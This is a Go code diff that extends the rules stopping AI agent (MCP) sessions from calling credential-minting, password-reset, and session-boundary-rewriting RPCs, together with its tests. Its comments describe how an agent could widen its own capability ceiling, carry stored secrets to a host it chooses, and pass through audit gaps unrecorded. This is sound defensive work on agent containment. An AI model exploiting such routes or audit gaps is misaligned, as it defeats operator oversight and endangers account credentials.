+ //
+ // Its siblings are NOT here and the line is severity, not tidiness:
+ // UpdateInstance and BatchUpdateInstances rebuild the data-source list
+ // wholesale, so every secret is wiped unless resent — except the Kerberos
+ // keytab, which retainStoredKeytabs inherits by data-source ID. That is a
+ // narrower, persist-only version of the same vector, and it is filed
+ // rather than swept in with instance management, which no one has yet
+ // decided an agent should lose. AddDataSource and CreateInstance also dial
+ // on validate_only but build the data source entirely from the request, so
+ // they carry no stored secret and are not this class. BOT-57.
+ //
+ // The Undelete* family (user, service account, workload identity) is
+ // deliberately NOT in this group, and it is the nearest thing left out, so
+ // the reasoning is recorded rather than left to be rediscovered. It
+ // restores a principal whose password or key hash survived the soft
+ // delete, so an operator's deactivation is undone. It is out because the
+ // caller learns and chooses nothing: the credential goes back to whoever
+ // already had it, and a second delete takes it away again. Issuing beats
+ // re-arming, and this mechanism is about issuing. BOT-54.
+ v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS: "it hands someone control of a principal other than the caller, which revoking this session would not take back",
- // Workspace lifecycle.
- v1connect.WorkspaceServiceLeaveWorkspaceProcedure: reasonEndsMembership,
- v1connect.WorkspaceServiceDeleteWorkspaceProcedure: reasonEndsMembership,
+ // SettingService/UpdateSetting, refused for the boundary it rewrites
+ // rather than for any credential it hands out. Two mask paths carry it:
+ // value.workspace_profile.mcp_capability IS the MCP ceiling, so a session
+ // that reaches it is not bounded by it; and value.email.smtp keeps the
+ // stored password when the request omits it while accepting a new host,
+ // which hands over the relay resolvePreLoginEmailSetting reads to mail
+ // password resets and login codes. TestEmailSetting is the one-shot
+ // version of the second; this is the persisting one. The same method also
+ // writes the SSO domain allowlist and the sign-in switches.
+ //
+ // Classification is per method, so this refuses the whole RPC — including
+ // the settings that have nothing to do with either path. Splitting the
+ // handler so ordinary configuration stays reachable to an agent is the
+ // follow-up (BOT-53); disallowing first is the deliberate order.
+ v1pb.MCPForbiddenReason_REWRITES_SESSION_BOUNDARY: "it rewrites the workspace settings that bound this session, including the switch meant to contain it",
}
+// reasonForbiddenClass is the fallback for a method annotated FORBIDDEN whose
+// reason is unset or unknown to this build. The class annotation is what denies
+// the method; the table only supplies better wording.
+const reasonForbiddenClass = "it is not reachable by an AI agent session"
+
// NewInternalMCPForbiddenInterceptor denies every method annotated
// mcp_method_class = FORBIDDEN before dispatch. It belongs to the internal MCP
// chain only — every request there originates at /mcp — and sits inside the
@@ -93,11 +140,46 @@ var mcpForbiddenReasons = map[string]string{
// method, and this interceptor grows with the annotations rather than with a
// list kept here.
//
-// Sitting inside audit gets the denial a row for the methods that carry the
-// audit annotation, which is all twelve currently annotated FORBIDDEN bar
-// SwitchWorkspace, Refresh, RequestPasswordReset and ResetPassword: needAudit
-// reads that annotation and nothing else, so those four are denied silently
-// until 1b-2 lands the typed policy-denial record that bypasses it.
+// Sitting inside audit gets the denial a row for most of the annotated
+// FORBIDDEN methods, but not all, and the exceptions are worth knowing because
+// none of them is visible from the annotations alone. Three mechanisms:
+//
+// - No audit annotation, so needAudit refuses the row outright:
+// SwitchWorkspace, Refresh, TestIdentityProvider, TestEmailSetting.
+//
+// - Audit annotation, but no reachable audit parent: RequestPasswordReset,
+// ResetPassword and SendEmailLoginCode are allow_without_credential, so
+// createAuditLog takes their parent ONLY from what the handler validated
+// via common.SetAuditWorkspaceID and deliberately skips the workspace
+// fallback (handlerValidatedWorkspaceMethod, audit.go) — an unvalidated
+// workspace on an unauthenticated method would let anyone write rows into
+// someone else's. This gate refuses before dispatch, so the handler never
+// runs and no parent is ever set. #21162 gave the first two the audit
+// annotation; it did not give them rows.
+//
+// - Annotated, audited, and not carved out, but the CALLER opted out per
+// request: createAuditLog returns on its first statement for anything whose
+// validate_only field is set, before it considers the denial at all.
+// Unlike the two above this is not a fixed set of methods — it is any
+// FORBIDDEN method whose request carries the field, today
+// CreateIdentityProvider, UpdateSetting and UpdateDataSource. The skip is
+// right for a permitted call, which changed nothing worth recording, and
+// backwards for a refused one; worse, validate_only is the variant that
+// leaves no other trace, because it dials the caller's host and persists
+// nothing.
+//
+// The first group is 1b-2's typed policy-denial record. The second needs that
+// too, or the audit path to accept the delegated credential's workspace, which
+// the internal chain has already verified. The third needs policy denials
+// exempted from the validate-only skip (BOT-57).
+// TestMCPResetFlowDenialsAreSilent pins the second and
+// TestMCPCannotRetargetADataSource pins the third — as an A/B on one flag, two
+// identical denials of one method, only one of them auditable — so the next
+// person to add an annotation learns it is not enough from a red test rather
+// than from an operator asking where the row went. The ones that sting are
+// TestIdentityProvider and TestEmailSetting, and the validate-only retarget:
+// each would carry a stored secret to an address the agent chose, and their
+// denials are the rows an operator would most want.
func NewInternalMCPForbiddenInterceptor() connect.Interceptor {
return connect.UnaryInterceptorFunc(func(next connect.UnaryFunc) connect.UnaryFunc {
return func(ctx context.Context, req connect.AnyRequest) (connect.AnyResponse, error) {
@@ -112,14 +194,13 @@ func NewInternalMCPForbiddenInterceptor() connect.Interceptor {
if authCtx.MCPMethodClass != v1pb.MCPMethodClass_FORBIDDEN {
return next(ctx, req)
}
- procedure := req.Spec().Procedure
- reason, ok := mcpForbiddenReasons[procedure]
+ reason, ok := mcpForbiddenReasons[authCtx.MCPForbiddenReason]
if !ok {
reason = reasonForbiddenClass
}
return nil, connect.NewError(connect.CodePermissionDenied, errors.Errorf(
"%s is not available to MCP sessions because %s. Perform this action signed in to the Bytebase console instead",
- procedure, reason))
+ req.Spec().Procedure, reason))
}
})
}
diff --git a/backend/api/v1/mcp_forbidden_test.go b/backend/api/v1/mcp_forbidden_test.go
index a71c96b928..1c0ec77372 100644
--- a/backend/api/v1/mcp_forbidden_test.go
+++ b/backend/api/v1/mcp_forbidden_test.go
@@ -20,9 +20,9 @@ import (
// the compiled descriptors — the same place getAuthContext reads it — so the
// assertions below are against the annotations themselves, not against a Go
// copy of them that could agree with itself while the protos say otherwise.
-func forbiddenProceduresFromDescriptors(t *testing.T) map[string]bool {
+func forbiddenProceduresFromDescriptors(t *testing.T) map[string]v1pb.MCPForbiddenReason {
t.Helper()
- found := map[string]bool{}
+ found := map[string]v1pb.MCPForbiddenReason{}
protoregistry.GlobalFiles.RangeFiles(func(fd protoreflect.FileDescriptor) bool {
if fd.Package() != "bytebase.v1" {
return true
@@ -35,8 +35,15 @@ func forbiddenProceduresFromDescriptors(t *testing.T) map[string]bool {
md := methods.Get(j)
class, ok := proto.GetExtension(md.Options(), v1pb.E_McpMethodClass).(v1pb.MCPMethodClass)
require.True(t, ok, "method %s carries a malformed mcp_method_class", md.FullName())
+ reason, ok := proto.GetExtension(md.Options(), v1pb.E_McpForbiddenReason).(v1pb.MCPForbiddenReason)
+ require.True(t, ok, "method %s carries a malformed mcp_forbidden_reason", md.FullName())
if class == v1pb.MCPMethodClass_FORBIDDEN {
- found[fmt.Sprintf("/%s/%s", sd.FullName(), md.Name())] = true
+ found[fmt.Sprintf("/%s/%s", sd.FullName(), md.Name())] = reason
+ } else {
+ // A reason without the class denies nothing and would read,
+ // to anyone grepping for it, as a method that is refused.
+ require.Equal(t, v1pb.MCPForbiddenReason_MCP_FORBIDDEN_REASON_UNSPECIFIED, reason,
+ "method %s records why it is forbidden but is not classified FORBIDDEN", md.FullName())
}
}
}
@@ -62,33 +69,101 @@ func TestForbiddenClassMembership(t *testing.T) {
v1connect.UserServiceUpdateUserProcedure,
v1connect.WorkspaceServiceLeaveWorkspaceProcedure,
v1connect.WorkspaceServiceDeleteWorkspaceProcedure,
+ v1connect.ServiceAccountServiceCreateServiceAccountProcedure,
+ v1connect.ServiceAccountServiceUpdateServiceAccountProcedure,
+ v1connect.WorkspaceServiceRotateDirectorySyncTokenProcedure,
+ v1connect.UserServiceCreateUserProcedure,
+ v1connect.IdentityProviderServiceCreateIdentityProviderProcedure,
+ v1connect.IdentityProviderServiceUpdateIdentityProviderProcedure,
+ v1connect.IdentityProviderServiceTestIdentityProviderProcedure,
+ v1connect.WorkloadIdentityServiceCreateWorkloadIdentityProcedure,
+ v1connect.WorkloadIdentityServiceUpdateWorkloadIdentityProcedure,
+ v1connect.SettingServiceTestEmailSettingProcedure,
+ v1connect.UserServiceUpdateEmailProcedure,
+ v1connect.SettingServiceUpdateSettingProcedure,
+ v1connect.InstanceServiceUpdateDataSourceProcedure,
}
got := forbiddenProceduresFromDescriptors(t)
for _, procedure := range want {
- require.True(t, got[procedure], "%s must be annotated mcp_method_class = FORBIDDEN", procedure)
+ require.Contains(t, got, procedure, "%s must be annotated mcp_method_class = FORBIDDEN", procedure)
}
require.Len(t, got, len(want),
"an RPC was annotated FORBIDDEN without being added here; membership must be an explicit decision")
- // Every member should also carry wording an agent can act on. A missing
- // row is a UX regression, not a security one — the annotation is what
- // denies — so this is asserted separately from membership.
- for _, procedure := range want {
- require.Contains(t, mcpForbiddenReasons, procedure,
- "%s has no actionable denial reason", procedure)
+ // Which mechanism each method is refused for, read off the annotations
+ // rather than off a Go copy of them. The reason has to describe what the
+ // method does, not merely be present: Logout destroys a session rather than
+ // issuing a credential, and a denial that says otherwise teaches the next
+ // reader something false. These are near-synonyms in English and are not
+ // near-synonyms in what they tell an operator, so every method is pinned.
+ wantReason := map[string]v1pb.MCPForbiddenReason{
+ v1connect.AuthServiceLoginProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL,
+ v1connect.AuthServiceSignupProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL,
+ v1connect.AuthServiceExchangeTokenProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL,
+ v1connect.AuthServiceRefreshProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL,
+ v1connect.AuthServiceSwitchWorkspaceProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL,
+ v1connect.AuthServiceRequestPasswordResetProcedure: v1pb.MCPForbiddenReason_RESETS_CREDENTIAL,
+ v1connect.AuthServiceResetPasswordProcedure: v1pb.MCPForbiddenReason_RESETS_CREDENTIAL,
+ v1connect.AuthServiceSendEmailLoginCodeProcedure: v1pb.MCPForbiddenReason_RESETS_CREDENTIAL,
+ v1connect.UserServiceUpdateUserProcedure: v1pb.MCPForbiddenReason_TAKES_OVER_ACCOUNT,
+ v1connect.AuthServiceLogoutProcedure: v1pb.MCPForbiddenReason_ENDS_SESSION,
+ v1connect.WorkspaceServiceLeaveWorkspaceProcedure: v1pb.MCPForbiddenReason_ENDS_MEMBERSHIP,
+ v1connect.WorkspaceServiceDeleteWorkspaceProcedure: v1pb.MCPForbiddenReason_ENDS_MEMBERSHIP,
+ v1connect.ServiceAccountServiceCreateServiceAccountProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.ServiceAccountServiceUpdateServiceAccountProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.WorkspaceServiceRotateDirectorySyncTokenProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.UserServiceCreateUserProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.UserServiceUpdateEmailProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.IdentityProviderServiceCreateIdentityProviderProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.IdentityProviderServiceUpdateIdentityProviderProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.IdentityProviderServiceTestIdentityProviderProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.WorkloadIdentityServiceCreateWorkloadIdentityProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.WorkloadIdentityServiceUpdateWorkloadIdentityProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.SettingServiceTestEmailSettingProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
+ v1connect.SettingServiceUpdateSettingProcedure: v1pb.MCPForbiddenReason_REWRITES_SESSION_BOUNDARY,
+ v1connect.InstanceServiceUpdateDataSourceProcedure: v1pb.MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS,
}
- require.Len(t, mcpForbiddenReasons, len(want), "a reason row outlived its method")
+ require.Equal(t, wantReason, got,
+ "every FORBIDDEN method records the mechanism it is refused for, and this is the second signature on it")
- // The reason has to describe what the method does, not merely be present:
- // Logout destroys a session rather than issuing a credential, and a denial
- // that says otherwise teaches the next reader something false.
- require.Equal(t, reasonEndsSession, mcpForbiddenReasons[v1connect.AuthServiceLogoutProcedure],
- "Logout mints nothing — it deletes the refresh token and expires the cookies")
- require.Equal(t, reasonMintsCredential, mcpForbiddenReasons[v1connect.AuthServiceLoginProcedure])
- require.Equal(t, reasonResetsCredential, mcpForbiddenReasons[v1connect.AuthServiceResetPasswordProcedure])
- require.Equal(t, reasonTakesOverAccount, mcpForbiddenReasons[v1connect.UserServiceUpdateUserProcedure])
- require.Equal(t, reasonEndsMembership, mcpForbiddenReasons[v1connect.WorkspaceServiceDeleteWorkspaceProcedure])
+ // Wording exists for every mechanism in use. A missing sentence is a UX
+ // regression, not a security one — the class annotation is what denies —
+ // so it is asserted separately from membership, and it is now one check per
+ // mechanism rather than one per method.
+ for procedure, reason := range got {
+ require.Contains(t, mcpForbiddenReasons, reason,
+ "%s is refused for %v, which has no sentence to say so", procedure, reason)
+ }
+}
+
+// TestForbiddenClassLeavesReadsAlone pins the other half of the second batch's
+// ruling, which is the half a later change could quietly widen: the reads of
+// the services whose writes were just forbidden stay UNCLASSIFIED, and so stay
+// discoverable and callable.
+//
+// They carry no credential. Every identity-provider read goes through the one
+// conversion that blanks the client secret and the LDAP bind password
+// (idp_service.go, three "SECURITY: We do not expose" lines), service-account
+// reads never populate ServiceKey (only create and the rotation branch do), and
+// workload-identity reads return issuer, audience and subject pattern —
+// configuration, not a secret. ListIdentityProviders is additionally
+// allow_without_credential, the endpoint the login page calls unauthenticated,
+// so forbidding it would cost an agent legitimate work while protecting nothing
+// an anonymous client could not already read.
+func TestForbiddenClassLeavesReadsAlone(t *testing.T) {
+ got := forbiddenProceduresFromDescriptors(t)
+ for _, procedure := range []string{
+ v1connect.IdentityProviderServiceGetIdentityProviderProcedure,
+ v1connect.IdentityProviderServiceListIdentityProvidersProcedure,
+ v1connect.WorkloadIdentityServiceGetWorkloadIdentityProcedure,
+ v1connect.WorkloadIdentityServiceListWorkloadIdentitiesProcedure,
+ v1connect.ServiceAccountServiceGetServiceAccountProcedure,
+ v1connect.ServiceAccountServiceListServiceAccountsProcedure,
+ } {
+ require.NotContains(t, got, procedure,
+ "%s is a read that carries no credential; forbidding it is scope this batch did not take", procedure)
+ }
}
// TestInternalMCPForbiddenInterceptor pins what the interceptor does with a
@@ -109,23 +184,37 @@ func TestInternalMCPForbiddenInterceptor(t *testing.T) {
_, err := interceptor.WrapUnary(next)(ctx, req)
return dispatched, err
}
- withClass := func(class v1pb.MCPMethodClass) context.Context {
+ withClass := func(class v1pb.MCPMethodClass, reason v1pb.MCPForbiddenReason) context.Context {
return context.WithValue(context.Background(), common.AuthContextKey,
- &common.AuthContext{MCPMethodClass: class})
+ &common.AuthContext{MCPMethodClass: class, MCPForbiddenReason: reason})
}
- for procedure := range forbiddenProceduresFromDescriptors(t) {
+ for procedure, reason := range forbiddenProceduresFromDescriptors(t) {
t.Run(procedure, func(t *testing.T) {
- dispatched, err := invoke(withClass(v1pb.MCPMethodClass_FORBIDDEN), procedure)
+ dispatched, err := invoke(withClass(v1pb.MCPMethodClass_FORBIDDEN, reason), procedure)
require.Error(t, err, "a FORBIDDEN method must never reach its handler")
require.False(t, dispatched, "the denial must happen before dispatch, so no handler side effect can land")
require.Equal(t, connect.CodePermissionDenied, connect.CodeOf(err))
require.Contains(t, err.Error(), procedure, "the message must name the method the agent called")
- require.Contains(t, err.Error(), mcpForbiddenReasons[procedure],
+ require.Contains(t, err.Error(), mcpForbiddenReasons[reason],
"the message must name why, so the agent can act on it")
})
}
+ // A method classified FORBIDDEN whose reason this build does not recognize
+ // is still refused — the class is what denies, and the wording degrades to
+ // the generic sentence rather than the denial degrading to nothing. This is
+ // the rolling-upgrade case: an old replica meeting a reason value added
+ // after it was built.
+ t.Run("unknown reason still denies", func(t *testing.T) {
+ dispatched, err := invoke(withClass(v1pb.MCPMethodClass_FORBIDDEN, v1pb.MCPForbiddenReason(9999)),
+ v1connect.AuthServiceLoginProcedure)
+ require.Error(t, err)
+ require.False(t, dispatched)
+ require.Equal(t, connect.CodePermissionDenied, connect.CodeOf(err))
+ require.Contains(t, err.Error(), reasonForbiddenClass)
+ })
+
// Only FORBIDDEN is enforced in this phase: an unclassified method is
// served exactly as before, and the serving classes 1b-2 will select
// between are not gated here yet.
@@ -135,7 +224,9 @@ func TestInternalMCPForbiddenInterceptor(t *testing.T) {
"write": v1pb.MCPMethodClass_WRITE,
} {
t.Run("dispatched: "+name, func(t *testing.T) {
- dispatched, err := invoke(withClass(class), v1connect.UserServiceGetUserProcedure)
+ dispatched, err := invoke(
+ withClass(class, v1pb.MCPForbiddenReason_MCP_FORBIDDEN_REASON_UNSPECIFIED),
+ v1connect.UserServiceGetUserProcedure)
require.NoError(t, err)
require.True(t, dispatched)
})
diff --git a/backend/common/context.go b/backend/common/context.go
index 662237dc7b..28580b01be 100644
--- a/backend/common/context.go
+++ b/backend/common/context.go
@@ -137,7 +137,12 @@ type AuthContext struct {
// P1b's ceiling modes select between, and UNSPECIFIED means "not yet
// classified" rather than "safe".
MCPMethodClass v1pb.MCPMethodClass
- Resources []*Resource
+ // MCPForbiddenReason is the method's bytebase.v1.mcp_forbidden_reason
+ // annotation: which mechanism made it FORBIDDEN, so the denial can say
+ // why. Meaningful only when MCPMethodClass is FORBIDDEN, and UNSPECIFIED
+ // costs wording rather than enforcement — the class is what denies.
+ MCPForbiddenReason v1pb.MCPForbiddenReason
+ Resources []*Resource
// DelegatedGrant carries the grant state of the delegated MCP credential
// on internal-chain requests; nil on the public chain. Presence, not any
// field value, marks a request as MCP-originated.
diff --git a/backend/generated-go/v1/annotation.pb.go b/backend/generated-go/v1/annotation.pb.go
index be45b30359..6e861c8bcd 100644
--- a/backend/generated-go/v1/annotation.pb.go
+++ b/backend/generated-go/v1/annotation.pb.go
@@ -140,6 +140,93 @@ func (MCPMethodClass) EnumDescriptor() ([]byte, []int) {
return file_v1_annotation_proto_rawDescGZIP(), []int{1}
}
+// Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:
+// each value names what its methods actually do, and the serving side turns
+// that into a sentence. A denial whose stated reason has drifted from the
+// mechanism is worse than a bare refusal, because it is the thing the next
+// reader trusts — so a method changing what it does changes its reason here.
+type MCPForbiddenReason int32
+
+const (
+ // No reason recorded. The method is still denied — mcp_method_class is what
+ // enforces — and the denial falls back to generic wording.
+ MCPForbiddenReason_MCP_FORBIDDEN_REASON_UNSPECIFIED MCPForbiddenReason = 0
+ // Puts a token for the caller's own principal in the response body.
+ MCPForbiddenReason_MINTS_CREDENTIAL MCPForbiddenReason = 1
+ // Drives the out-of-band reset flow that sets or delivers the secret a
+ // login accepts.
+ MCPForbiddenReason_RESETS_CREDENTIAL MCPForbiddenReason = 2
+ // Rewrites an account's own credentials, which would let the session log in
+ // as that account.
+ MCPForbiddenReason_TAKES_OVER_ACCOUNT MCPForbiddenReason = 3
+ // Destroys the human's own login session.
+ MCPForbiddenReason_ENDS_SESSION MCPForbiddenReason = 4
+ // Destroys the caller's own workspace membership and mints a plain
+ // workspace token on the way out.
+ MCPForbiddenReason_ENDS_MEMBERSHIP MCPForbiddenReason = 5
+ // Leaves someone holding a principal the caller is not — by issuing its
+ // credential, carrying an existing one out to a host the caller named,
+ // choosing what will later be trusted to mint one, or redirecting where one
+ // gets delivered.
+ MCPForbiddenReason_MINTS_CREDENTIAL_FOR_OTHERS MCPForbiddenReason = 6
+ // Rewrites the workspace configuration that governs the session making the
+ // call — the MCP switch itself, the sign-in and SSO settings, and the mail
+ // relay that carries credential resets. A session that can widen its own
+ // ceiling is not bounded by it.
+ MCPForbiddenReason_REWRITES_SESSION_BOUNDARY MCPForbiddenReason = 7
+)
+
+// Enum value maps for MCPForbiddenReason.
+var (
+ MCPForbiddenReason_name = map[int32]string{
+ 0: "MCP_FORBIDDEN_REASON_UNSPECIFIED",
+ 1: "MINTS_CREDENTIAL",
+ 2: "RESETS_CREDENTIAL",
+ 3: "TAKES_OVER_ACCOUNT",
+ 4: "ENDS_SESSION",
+ 5: "ENDS_MEMBERSHIP",
+ 6: "MINTS_CREDENTIAL_FOR_OTHERS",
+ 7: "REWRITES_SESSION_BOUNDARY",
+ }
+ MCPForbiddenReason_value = map[string]int32{
+ "MCP_FORBIDDEN_REASON_UNSPECIFIED": 0,
+ "MINTS_CREDENTIAL": 1,
+ "RESETS_CREDENTIAL": 2,
+ "TAKES_OVER_ACCOUNT": 3,
+ "ENDS_SESSION": 4,
+ "ENDS_MEMBERSHIP": 5,
+ "MINTS_CREDENTIAL_FOR_OTHERS": 6,
+ "REWRITES_SESSION_BOUNDARY": 7,
+ }
+)
+
+func (x MCPForbiddenReason) Enum() *MCPForbiddenReason {
+ p := new(MCPForbiddenReason)
+ *p = x
+ return p
+}
+
+func (x MCPForbiddenReason) String() string {
+ return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
+}
+
+func (MCPForbiddenReason) Descriptor() protoreflect.EnumDescriptor {
+ return file_v1_annotation_proto_enumTypes[2].Descriptor()
+}
+
+func (MCPForbiddenReason) Type() protoreflect.EnumType {
+ return &file_v1_annotation_proto_enumTypes[2]
+}
+
+func (x MCPForbiddenReason) Number() protoreflect.EnumNumber {
+ return protoreflect.EnumNumber(x)
+}
+
+// Deprecated: Use MCPForbiddenReason.Descriptor instead.
+func (MCPForbiddenReason) EnumDescriptor() ([]byte, []int) {
+ return file_v1_annotation_proto_rawDescGZIP(), []int{2}
+}
+
var file_v1_annotation_proto_extTypes = []protoimpl.ExtensionInfo{
{
ExtendedType: (*descriptorpb.MethodOptions)(nil),
@@ -181,6 +268,14 @@ var file_v1_annotation_proto_extTypes = []protoimpl.ExtensionInfo{
Tag: "varint,100004,opt,name=mcp_method_class,enum=bytebase.v1.MCPMethodClass",
Filename: "v1/annotation.proto",
},
+ {
+ ExtendedType: (*descriptorpb.MethodOptions)(nil),
+ ExtensionType: (*MCPForbiddenReason)(nil),
+ Field: 100005,
+ Name: "bytebase.v1.mcp_forbidden_reason",
+ Tag: "varint,100005,opt,name=mcp_forbidden_reason,enum=bytebase.v1.MCPForbiddenReason",
+ Filename: "v1/annotation.proto",
+ },
}
// Extension fields to descriptorpb.MethodOptions.
@@ -205,6 +300,13 @@ var (
//
// optional bytebase.v1.MCPMethodClass mcp_method_class = 100004;
E_McpMethodClass = &file_v1_annotation_proto_extTypes[4]
+ // Why the method is forbidden to MCP sessions. Meaningful only alongside
+ // mcp_method_class = FORBIDDEN; the denial names it so the agent, and the
+ // operator reading the audit row, learn why rather than just that it was
+ // refused.
+ //
+ // optional bytebase.v1.MCPForbiddenReason mcp_forbidden_reason = 100005;
+ E_McpForbiddenReason = &file_v1_annotation_proto_extTypes[5]
)
var File_v1_annotation_proto protoreflect.FileDescriptor
@@ -222,7 +324,16 @@ const file_v1_annotation_proto_rawDesc = "" +
"\x1cMCP_METHOD_CLASS_UNSPECIFIED\x10\x00\x12\b\n" +
"\x04READ\x10\x01\x12\t\n" +
"\x05WRITE\x10\x02\x12\r\n" +
- "\tFORBIDDEN\x10\x03:Z\n" +
+ "\tFORBIDDEN\x10\x03*\xe6\x01\n" +
+ "\x12MCPForbiddenReason\x12$\n" +
+ " MCP_FORBIDDEN_REASON_UNSPECIFIED\x10\x00\x12\x14\n" +
+ "\x10MINTS_CREDENTIAL\x10\x01\x12\x15\n" +
+ "\x11RESETS_CREDENTIAL\x10\x02\x12\x16\n" +
+ "\x12TAKES_OVER_ACCOUNT\x10\x03\x12\x10\n" +
+ "\fENDS_SESSION\x10\x04\x12\x13\n" +
+ "\x0fENDS_MEMBERSHIP\x10\x05\x12\x1f\n" +
+ "\x1bMINTS_CREDENTIAL_FOR_OTHERS\x10\x06\x12\x1d\n" +
+ "\x19REWRITES_SESSION_BOUNDARY\x10\a:Z\n" +
"\x18allow_without_credential\x12\x1e.google.protobuf.MethodOptions\x18\xa0\x8d\x06 \x01(\bR\x16allowWithoutCredential:@\n" +
"\n" +
"permission\x12\x1e.google.protobuf.MethodOptions\x18\xa1\x8d\x06 \x01(\tR\n" +
@@ -230,7 +341,8 @@ const file_v1_annotation_proto_rawDesc = "" +
"\vauth_method\x12\x1e.google.protobuf.MethodOptions\x18\xa2\x8d\x06 \x01(\x0e2\x17.bytebase.v1.AuthMethodR\n" +
"authMethod:6\n" +
"\x05audit\x12\x1e.google.protobuf.MethodOptions\x18\xa3\x8d\x06 \x01(\bR\x05audit:g\n" +
- "\x10mcp_method_class\x12\x1e.google.protobuf.MethodOptions\x18\xa4\x8d\x06 \x01(\x0e2\x1b.bytebase.v1.MCPMethodClassR\x0emcpMethodClassB\xa5\x01\n" +
+ "\x10mcp_method_class\x12\x1e.google.protobuf.MethodOptions\x18\xa4\x8d\x06 \x01(\x0e2\x1b.bytebase.v1.MCPMethodClassR\x0emcpMethodClass:s\n" +
+ "\x14mcp_forbidden_reason\x12\x1e.google.protobuf.MethodOptions\x18\xa5\x8d\x06 \x01(\x0e2\x1f.bytebase.v1.MCPForbiddenReasonR\x12mcpForbiddenReasonB\xa5\x01\n" +
"\x0fcom.bytebase.v1B\x0fAnnotationProtoP\x01Z4github.com/bytebase/bytebase/backend/generated-go/v1\xa2\x02\x03BXX\xaa\x02\vBytebase.V1\xca\x02\vBytebase\\V1\xe2\x02\x17Bytebase\\V1\\GPBMetadata\xea\x02\fBytebase::V1b\x06proto3"
var (
@@ -245,24 +357,27 @@ func file_v1_annotation_proto_rawDescGZIP() []byte {
return file_v1_annotation_proto_rawDescData
}
-var file_v1_annotation_proto_enumTypes = make([]protoimpl.EnumInfo, 2)
+var file_v1_annotation_proto_enumTypes = make([]protoimpl.EnumInfo, 3)
var file_v1_annotation_proto_goTypes = []any{
(AuthMethod)(0), // 0: bytebase.v1.AuthMethod
(MCPMethodClass)(0), // 1: bytebase.v1.MCPMethodClass
- (*descriptorpb.MethodOptions)(nil), // 2: google.protobuf.MethodOptions
+ (MCPForbiddenReason)(0), // 2: bytebase.v1.MCPForbiddenReason
+ (*descriptorpb.MethodOptions)(nil), // 3: google.protobuf.MethodOptions
}
var file_v1_annotation_proto_depIdxs = []int32{
- 2, // 0: bytebase.v1.allow_without_credential:extendee -> google.protobuf.MethodOptions
- 2, // 1: bytebase.v1.permission:extendee -> google.protobuf.MethodOptions
- 2, // 2: bytebase.v1.auth_method:extendee -> google.protobuf.MethodOptions
- 2, // 3: bytebase.v1.audit:extendee -> google.protobuf.MethodOptions
- 2, // 4: bytebase.v1.mcp_method_class:extendee -> google.protobuf.MethodOptions
- 0, // 5: bytebase.v1.auth_method:type_name -> bytebase.v1.AuthMethod
- 1, // 6: bytebase.v1.mcp_method_class:type_name -> bytebase.v1.MCPMethodClass
- 7, // [7:7] is the sub-list for method output_type
- 7, // [7:7] is the sub-list for method input_type
- 5, // [5:7] is the sub-list for extension type_name
- 0, // [0:5] is the sub-list for extension extendee
+ 3, // 0: bytebase.v1.allow_without_credential:extendee -> google.protobuf.MethodOptions
+ 3, // 1: bytebase.v1.permission:extendee -> google.protobuf.MethodOptions
+ 3, // 2: bytebase.v1.auth_method:extendee -> google.protobuf.MethodOptions
+ 3, // 3: bytebase.v1.audit:extendee -> google.protobuf.MethodOptions
+ 3, // 4: bytebase.v1.mcp_method_class:extendee -> google.protobuf.MethodOptions
+ 3, // 5: bytebase.v1.mcp_forbidden_reason:extendee -> google.protobuf.MethodOptions
+ 0, // 6: bytebase.v1.auth_method:type_name -> bytebase.v1.AuthMethod
+ 1, // 7: bytebase.v1.mcp_method_class:type_name -> bytebase.v1.MCPMethodClass
+ 2, // 8: bytebase.v1.mcp_forbidden_reason:type_name -> bytebase.v1.MCPForbiddenReason
+ 9, // [9:9] is the sub-list for method output_type
+ 9, // [9:9] is the sub-list for method input_type
+ 6, // [6:9] is the sub-list for extension type_name
+ 0, // [0:6] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
}
@@ -276,9 +391,9 @@ func file_v1_annotation_proto_init() {
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: unsafe.Slice(unsafe.StringData(file_v1_annotation_proto_rawDesc), len(file_v1_annotation_proto_rawDesc)),
- NumEnums: 2,
+ NumEnums: 3,
NumMessages: 0,
- NumExtensions: 5,
+ NumExtensions: 6,
NumServices: 0,
},
GoTypes: file_v1_annotation_proto_goTypes,
diff --git a/backend/generated-go/v1/auth_service.pb.go b/backend/generated-go/v1/auth_service.pb.go
index c193b8ccdb..25a98cdf0b 100644
--- a/backend/generated-go/v1/auth_service.pb.go
+++ b/backend/generated-go/v1/auth_service.pb.go
@@ -1012,17 +1012,17 @@ const file_v1_auth_service_proto_rawDesc = "" +
"\x0emfa_temp_token\x18\x05 \x01(\tH\x02R\fmfaTempToken\x88\x01\x01B\v\n" +
"\t_otp_codeB\x10\n" +
"\x0e_recovery_codeB\x11\n" +
- "\x0f_mfa_temp_token2\xcf\b\n" +
- "\vAuthService\x12e\n" +
